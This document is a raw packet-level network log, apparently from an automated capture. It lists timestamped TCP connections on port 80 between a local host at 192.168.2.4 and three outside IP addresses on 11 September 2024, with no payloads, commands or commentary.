Sep 11, 2024 16:22:17.631165028 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.631198883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.631210089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.631221056 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.631230116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.631242990 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.631285906 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.631371021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.631381989 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631400108 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631439924 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.631474972 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.631474972 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.631551981 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631563902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631573915 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631584883 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631597042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631603956 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.631607056 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631619930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631633997 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.631654978 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.631731033 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631750107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631762028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631776094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631778955 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.631788969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631828070 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.631855011 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.631884098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631897926 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631911993 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631923914 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.631923914 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631943941 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631954908 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.631956100 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.631994009 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632075071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632090092 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632103920 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632117987 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632121086 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632133007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632145882 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632147074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632173061 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632201910 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632230997 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632241964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632251978 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632262945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632273912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632276058 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632283926 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632287979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632308006 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632308006 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632334948 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632401943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632414103 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632425070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632442951 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632456064 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632549047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632560015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632570028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632580996 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632587910 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632595062 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632606983 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632610083 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632636070 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632647991 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632723093 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632735014 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632745028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632756948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632759094 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632767916 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632774115 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632778883 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632787943 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632791042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.632813931 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.632831097 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633033037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633044004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633054972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633066893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633066893 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633079052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633081913 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633100033 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633121967 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633203030 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633214951 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633224964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633236885 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633244991 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633249044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633256912 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633263111 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633286953 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633299112 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633358002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633369923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633380890 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633392096 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633392096 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633404016 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633411884 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633415937 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633424044 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633450031 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633518934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633531094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633542061 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633560896 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633579969 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633660078 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633672953 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633682966 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633692980 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633699894 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633708000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633718967 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633728981 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633729935 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633752108 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633764982 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633846045 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633858919 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633868933 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633889914 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633900881 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.633982897 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.633996964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.634007931 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.634020090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.634022951 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.634032965 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.634046078 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.634072065 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.634274006 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.634285927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.634296894 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.634314060 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.634336948 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.634413958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.634426117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.634452105 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.634475946 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.637058973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.637070894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.637082100 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.637094975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.637104988 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.637142897 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.637142897 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.637172937 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.637183905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.637196064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.637204885 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.637207985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.637218952 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.637234926 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.637248039 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.657818079 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.657830000 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.657841921 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.657861948 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.657872915 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.657871962 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.657883883 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.657896996 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.657902002 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.657902002 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.657958031 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.657958031 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.657974005 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.657984018 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.657995939 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658006907 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658020020 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658024073 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.658024073 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.658032894 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658045053 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.658073902 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.658107042 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658118963 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658169031 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.658169031 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.658308029 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658318043 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658329010 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658369064 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.658369064 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.658391953 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658404112 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658438921 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.658452988 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.658595085 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658607006 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658618927 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.658634901 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.658664942 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.658664942 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.665816069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.665837049 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.665849924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.665863991 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.665884018 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.665894032 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.665909052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.665920019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.665931940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.665942907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.665946007 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.665956974 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.665960073 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.665981054 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.665987968 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.665997982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.666004896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.666018009 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.666028976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.666039944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.666045904 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.666053057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.666059971 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.666095018 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.666112900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.666152954 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.666879892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.666892052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.666904926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.666924953 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.666935921 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.666980028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.666992903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667004108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667017937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667017937 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667031050 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667056084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667104006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667115927 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667126894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667139053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667150021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667160034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667169094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667174101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667186975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667195082 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667200089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667211056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667213917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667234898 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667242050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667244911 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667253971 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667263031 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667268038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667278051 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667293072 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667309046 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667337894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667351007 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667361975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667373896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667377949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667398930 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667407036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667419910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667421103 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667434931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667440891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667454958 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667457104 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667468071 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667478085 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667480946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667490005 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667506933 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667530060 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667530060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667543888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667555094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667567015 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667571068 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667578936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667582989 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667607069 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667619944 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667817116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667829037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667848110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667856932 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667860031 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667870045 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667874098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667882919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667886972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667898893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667902946 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667912960 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667917013 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667924881 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667932034 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667937040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667947054 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667951107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667963028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667973995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667974949 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667984009 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.667985916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.667999029 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668000937 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668013096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668016911 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668025017 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668035030 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668036938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668054104 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668054104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668070078 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668087959 CEST	49736	80	192.168.2.4	176.113.115.33
